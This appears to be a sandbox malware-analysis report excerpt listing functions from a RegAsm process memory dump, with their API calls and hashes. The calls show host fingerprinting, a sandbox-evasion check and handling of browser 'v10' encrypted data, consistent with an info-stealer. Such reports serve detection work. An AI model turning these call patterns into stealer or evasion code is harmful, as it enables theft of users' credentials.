Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,011028B8,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,011028B8,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01102D90,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01102D90,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01102D90,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,01102D90,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,011028D8,00000000,?,00420DF4,00000000,?,00000000,00000000,?,01102EE0,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,010FC4E0,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,011027F8,00000000,00000000,000000FF,000000FF), ref: 0041791F

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01102F28,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01102F28,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: CreateDCA.GDI32(010FAB48,00000000,00000000,00000000), ref: 00418295
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
Part of subcall function 00418260: ReleaseDC.USER32(00000000,?), ref: 004182C2
Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417C90: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00417CF4

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,010F64C0,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205A7), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: CloseHandle.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2168326814-0
Opcode ID: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

